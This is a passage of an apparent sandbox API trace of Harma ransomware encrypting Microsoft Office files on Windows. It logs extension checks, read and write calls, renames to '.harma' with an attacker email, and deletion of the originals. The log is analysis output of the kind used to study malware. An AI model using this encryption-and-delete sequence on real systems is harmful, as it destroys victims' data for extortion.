lstrlenW (lpString=".pdf") returned 4 [0171.065] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0171.065] lstrlenW (lpString=".xls") returned 4 [0171.065] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0171.065] lstrlenW (lpString=".xlsx") returned 5 [0171.065] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0171.065] lstrlenW (lpString=".ppt") returned 4 [0171.065] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0171.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll") returned 59 [0171.065] lstrlenW (lpString=".zip") returned 4 [0171.065] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0171.065] lstrlenW (lpString=".rar") returned 4 [0171.065] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0171.065] lstrlenW (lpString=".bz2") returned 4 [0171.065] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0171.065] lstrlenW (lpString=".7z") returned 3 [0171.065] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0171.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll") returned 59 [0171.065] lstrlenW (lpString=".dbf") returned 4 [0171.065] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0171.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll") returned 59 [0171.065] lstrlenW (lpString=".1cd") returned 4 [0171.065] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0171.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll") returned 59 [0171.065] lstrlenW (lpString=".jpg") returned 4 [0171.065] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0171.065] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0171.065] lstrlenW (lpString="ENVELOPE.DLL") returned 12 [0171.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\envelope.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0171.066] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=219520) returned 1 [0171.066] CloseHandle (hObject=0x338) returned 1 [0171.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\envelope.dll")) returned 0x20 [0171.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\envelope.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0171.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\envelope.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL") returned 55 [0171.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL") returned 55 [0171.067] lstrlenW (lpString=".doc") returned 4 [0171.067] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0171.067] lstrlenW (lpString=".docx") returned 5 [0171.067] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0171.067] lstrlenW (lpString=".pdf") returned 4 [0171.067] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0171.067] lstrlenW (lpString=".xls") returned 4 [0171.067] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0171.067] lstrlenW (lpString=".xlsx") returned 5 [0171.067] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0171.067] lstrlenW (lpString=".ppt") returned 4 [0171.067] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0171.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL") returned 55 [0171.067] lstrlenW (lpString=".zip") returned 4 [0171.067] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0171.067] lstrlenW (lpString=".rar") returned 4 [0171.067] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0171.067] lstrlenW (lpString=".bz2") returned 4 [0171.067] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0171.067] lstrlenW (lpString=".7z") returned 3 [0171.067] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0171.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL") returned 55 [0171.067] lstrlenW (lpString=".dbf") returned 4 [0171.068] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0171.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL") returned 55 [0171.068] lstrlenW (lpString=".1cd") returned 4 [0171.068] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0171.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL") returned 55 [0171.068] lstrlenW (lpString=".jpg") returned 4 [0171.068] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0171.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL") returned 55 [0171.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL") returned 55 [0171.068] lstrlenW (lpString=".doc") returned 4 [0171.068] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0171.068] lstrlenW (lpString=".docx") returned 5 [0171.068] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0171.068] lstrlenW (lpString=".pdf") returned 4 [0171.068] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0171.068] lstrlenW (lpString=".xls") returned 4 [0171.068] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0171.068] lstrlenW (lpString=".xlsx") returned 5 [0171.068] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0171.068] lstrlenW (lpString=".ppt") returned 4 [0171.068] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0171.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL") returned 55 [0171.068] lstrlenW (lpString=".zip") returned 4 [0171.068] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0171.068] lstrlenW (lpString=".rar") returned 4 [0171.068] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0171.068] lstrlenW (lpString=".bz2") returned 4 [0171.068] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0171.068] lstrlenW (lpString=".7z") returned 3 [0171.068] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0171.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL") returned 55 [0171.068] lstrlenW (lpString=".dbf") returned 4 [0171.068] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0171.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL") returned 55 [0171.069] lstrlenW (lpString=".1cd") returned 4 [0171.069] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0171.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL") returned 55 [0171.069] lstrlenW (lpString=".jpg") returned 4 [0171.069] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0171.069] lstrcmpiW (lpString1=".ADD", lpString2=".harma") returned -1 [0171.069] lstrlenW (lpString="ERXIMP.ADD") returned 10 [0171.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD" (normalized: "c:\\program files\\microsoft office\\office14\\erximp.add"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0171.070] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=85920) returned 1 [0171.070] CloseHandle (hObject=0x338) returned 1 [0171.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD" (normalized: "c:\\program files\\microsoft office\\office14\\erximp.add")) returned 0x20 [0171.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\erximp.add.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0171.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD" (normalized: "c:\\program files\\microsoft office\\office14\\erximp.add"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0171.070] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.070] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\erximp.add.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0171.071] GetLastError () returned 0x0 [0171.071] ReadFile (in: hFile=0x338, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x14fa0, lpOverlapped=0x0) returned 1 [0171.100] WriteFile (in: hFile=0x384, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x14fb0, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x14fb0, lpOverlapped=0x0) returned 1 [0171.102] ReadFile (in: hFile=0x338, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0171.102] WriteFile (in: hFile=0x384, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0171.102] SetEndOfFile (hFile=0x384) returned 1 [0171.102] CloseHandle (hObject=0x384) returned 1 [0171.103] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.103] SetEndOfFile (hFile=0x338) returned 1 [0171.106] CloseHandle (hObject=0x338) returned 1 [0171.106] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0171.106] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD" (normalized: "c:\\program files\\microsoft office\\office14\\erximp.add")) returned 1 [0171.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53 [0171.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53 [0171.108] lstrlenW (lpString=".doc") returned 4 [0171.108] lstrcmpiW (lpString1=".doc", lpString2=".ADD") returned 1 [0171.108] lstrlenW (lpString=".docx") returned 5 [0171.108] lstrcmpiW (lpString1=".docx", lpString2="P.ADD") returned -1 [0171.108] lstrlenW (lpString=".pdf") returned 4 [0171.108] lstrcmpiW (lpString1=".pdf", lpString2=".ADD") returned 1 [0171.108] lstrlenW (lpString=".xls") returned 4 [0171.108] lstrcmpiW (lpString1=".xls", lpString2=".ADD") returned 1 [0171.108] lstrlenW (lpString=".xlsx") returned 5 [0171.108] lstrcmpiW (lpString1=".xlsx", lpString2="P.ADD") returned -1 [0171.108] lstrlenW (lpString=".ppt") returned 4 [0171.108] lstrcmpiW (lpString1=".ppt", lpString2=".ADD") returned 1 [0171.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53 [0171.108] lstrlenW (lpString=".zip") returned 4 [0171.108] lstrcmpiW (lpString1=".zip", lpString2=".ADD") returned 1 [0171.108] lstrlenW (lpString=".rar") returned 4 [0171.108] lstrcmpiW (lpString1=".rar", lpString2=".ADD") returned 1 [0171.108] lstrlenW (lpString=".bz2") returned 4 [0171.108] lstrcmpiW (lpString1=".bz2", lpString2=".ADD") returned 1 [0171.108] lstrlenW (lpString=".7z") returned 3 [0171.108] lstrcmpiW (lpString1=".7z", lpString2="ADD") returned -1 [0171.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53 [0171.108] lstrlenW (lpString=".dbf") returned 4 [0171.108] lstrcmpiW (lpString1=".dbf", lpString2=".ADD") returned 1 [0171.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53 [0171.108] lstrlenW (lpString=".1cd") returned 4 [0171.109] lstrcmpiW (lpString1=".1cd", lpString2=".ADD") returned -1 [0171.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53 [0171.109] lstrlenW (lpString=".jpg") returned 4 [0171.109] lstrcmpiW (lpString1=".jpg", lpString2=".ADD") returned 1 [0171.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53 [0171.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53 [0171.109] lstrlenW (lpString=".doc") returned 4 [0171.109] lstrcmpiW (lpString1=".doc", lpString2=".ADD") returned 1 [0171.109] lstrlenW (lpString=".docx") returned 5 [0171.109] lstrcmpiW (lpString1=".docx", lpString2="P.ADD") returned -1 [0171.109] lstrlenW (lpString=".pdf") returned 4 [0171.109] lstrcmpiW (lpString1=".pdf", lpString2=".ADD") returned 1 [0171.109] lstrlenW (lpString=".xls") returned 4 [0171.109] lstrcmpiW (lpString1=".xls", lpString2=".ADD") returned 1 [0171.109] lstrlenW (lpString=".xlsx") returned 5 [0171.109] lstrcmpiW (lpString1=".xlsx", lpString2="P.ADD") returned -1 [0171.109] lstrlenW (lpString=".ppt") returned 4 [0171.109] lstrcmpiW (lpString1=".ppt", lpString2=".ADD") returned 1 [0171.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53 [0171.109] lstrlenW (lpString=".zip") returned 4 [0171.109] lstrcmpiW (lpString1=".zip", lpString2=".ADD") returned 1 [0171.109] lstrlenW (lpString=".rar") returned 4 [0171.109] lstrcmpiW (lpString1=".rar", lpString2=".ADD") returned 1 [0171.109] lstrlenW (lpString=".bz2") returned 4 [0171.109] lstrcmpiW (lpString1=".bz2", lpString2=".ADD") returned 1 [0171.109] lstrlenW (lpString=".7z") returned 3 [0171.109] lstrcmpiW (lpString1=".7z", lpString2="ADD") returned -1 [0171.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53 [0171.109] lstrlenW (lpString=".dbf") returned 4 [0171.110] lstrcmpiW (lpString1=".dbf", lpString2=".ADD") returned 1 [0171.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53 [0171.110] lstrlenW (lpString=".1cd") returned 4 [0171.110] lstrcmpiW (lpString1=".1cd", lpString2=".ADD") returned -1 [0171.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53 [0171.110] lstrlenW (lpString=".jpg") returned 4 [0171.110] lstrcmpiW (lpString1=".jpg", lpString2=".ADD") returned 1 [0171.110] lstrcmpiW (lpString1=".dll", lpString2=".harma") returned -1 [0171.110] lstrlenW (lpString="excelcnvpxy.dll") returned 15 [0171.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnvpxy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0171.185] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=48480) returned 1 [0171.185] CloseHandle (hObject=0x348) returned 1 [0171.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnvpxy.dll")) returned 0x20 [0171.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnvpxy.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0171.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnvpxy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll") returned 58 [0171.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll") returned 58 [0171.191] lstrlenW (lpString=".doc") returned 4 [0171.191] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0171.191] lstrlenW (lpString=".docx") returned 5 [0171.191] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0171.191] lstrlenW (lpString=".pdf") returned 4 [0171.191] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0171.191] lstrlenW (lpString=".xls") returned 4 [0171.191] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0171.191] lstrlenW (lpString=".xlsx") returned 5 [0171.191] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0171.191] lstrlenW (lpString=".ppt") returned 4 [0171.191] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0171.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll") returned 58 [0171.191] lstrlenW (lpString=".zip") returned 4 [0171.191] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0171.191] lstrlenW (lpString=".rar") returned 4 [0171.191] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0171.191] lstrlenW (lpString=".bz2") returned 4 [0171.191] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0171.191] lstrlenW (lpString=".7z") returned 3 [0171.191] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0171.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll") returned 58 [0171.191] lstrlenW (lpString=".dbf") returned 4 [0171.191] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0171.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll") returned 58 [0171.192] lstrlenW (lpString=".1cd") returned 4 [0171.192] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0171.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll") returned 58 [0171.192] lstrlenW (lpString=".jpg") returned 4 [0171.192] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0171.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll") returned 58 [0171.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll") returned 58 [0171.192] lstrlenW (lpString=".doc") returned 4 [0171.192] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0171.192] lstrlenW (lpString=".docx") returned 5 [0171.192] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0171.192] lstrlenW (lpString=".pdf") returned 4 [0171.192] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0171.192] lstrlenW (lpString=".xls") returned 4 [0171.192] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0171.192] lstrlenW (lpString=".xlsx") returned 5 [0171.192] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0171.192] lstrlenW (lpString=".ppt") returned 4 [0171.192] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0171.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll") returned 58 [0171.192] lstrlenW (lpString=".zip") returned 4 [0171.192] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0171.192] lstrlenW (lpString=".rar") returned 4 [0171.192] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0171.192] lstrlenW (lpString=".bz2") returned 4 [0171.192] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0171.192] lstrlenW (lpString=".7z") returned 3 [0171.192] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0171.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll") returned 58 [0171.192] lstrlenW (lpString=".dbf") returned 4 [0171.192] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0171.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll") returned 58 [0171.193] lstrlenW (lpString=".1cd") returned 4 [0171.193] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0171.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll") returned 58 [0171.193] lstrlenW (lpString=".jpg") returned 4 [0171.193] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0171.193] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0171.193] lstrlenW (lpString="EXSEC32.DLL") returned 11 [0171.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\exsec32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0171.194] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=474960) returned 1 [0171.194] CloseHandle (hObject=0x348) returned 1 [0171.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\exsec32.dll")) returned 0x20 [0171.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\exsec32.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0171.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\exsec32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL") returned 54 [0171.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL") returned 54 [0171.194] lstrlenW (lpString=".doc") returned 4 [0171.194] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0171.194] lstrlenW (lpString=".docx") returned 5 [0171.194] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0171.194] lstrlenW (lpString=".pdf") returned 4 [0171.194] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0171.194] lstrlenW (lpString=".xls") returned 4 [0171.194] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0171.194] lstrlenW (lpString=".xlsx") returned 5 [0171.194] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0171.194] lstrlenW (lpString=".ppt") returned 4 [0171.195] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0171.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL") returned 54 [0171.195] lstrlenW (lpString=".zip") returned 4 [0171.195] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0171.195] lstrlenW (lpString=".rar") returned 4 [0171.195] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0171.195] lstrlenW (lpString=".bz2") returned 4 [0171.195] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0171.195] lstrlenW (lpString=".7z") returned 3 [0171.195] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0171.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL") returned 54 [0171.195] lstrlenW (lpString=".dbf") returned 4 [0171.195] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0171.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL") returned 54 [0171.195] lstrlenW (lpString=".1cd") returned 4 [0171.195] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0171.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL") returned 54 [0171.195] lstrlenW (lpString=".jpg") returned 4 [0171.195] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0171.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL") returned 54 [0171.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL") returned 54 [0171.195] lstrlenW (lpString=".doc") returned 4 [0171.195] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0171.195] lstrlenW (lpString=".docx") returned 5 [0171.195] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0171.195] lstrlenW (lpString=".pdf") returned 4 [0171.195] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0171.195] lstrlenW (lpString=".xls") returned 4 [0171.195] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0171.195] lstrlenW (lpString=".xlsx") returned 5 [0171.196] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0171.196] lstrlenW (lpString=".ppt") returned 4 [0171.196] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0171.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL") returned 54 [0171.196] lstrlenW (lpString=".zip") returned 4 [0171.196] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0171.196] lstrlenW (lpString=".rar") returned 4 [0171.196] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0171.196] lstrlenW (lpString=".bz2") returned 4 [0171.196] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0171.196] lstrlenW (lpString=".7z") returned 3 [0171.196] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0171.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL") returned 54 [0171.196] lstrlenW (lpString=".dbf") returned 4 [0171.196] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0171.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL") returned 54 [0171.196] lstrlenW (lpString=".1cd") returned 4 [0171.196] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0171.196] lstrlenW (lpString="C:\\Program Files\\Microsoft 